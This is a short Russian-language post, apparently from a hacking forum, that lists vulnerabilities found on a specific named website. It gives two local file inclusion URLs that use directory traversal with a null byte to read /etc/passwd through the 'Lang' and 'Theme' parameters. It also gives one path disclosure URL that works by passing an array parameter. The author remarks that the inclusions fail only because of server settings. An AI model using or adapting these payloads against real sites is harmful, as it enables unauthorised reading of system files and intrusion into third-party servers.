Локальный инклуд (не работает только из-за мэджиков и openbase_dir):
http://x-engine.net/?Lang=../../../../../../../../etc/passwd%00

Раск4рытие пути:
http://x-engine.net/guest/?next[]=7&

Тут то ли читалка, то ли листалка - хз, не пашет опять-таки из-за серверных настроек:
http://x-engine.net/users/?Theme=../../../../../../../../../../../etc/passwd%00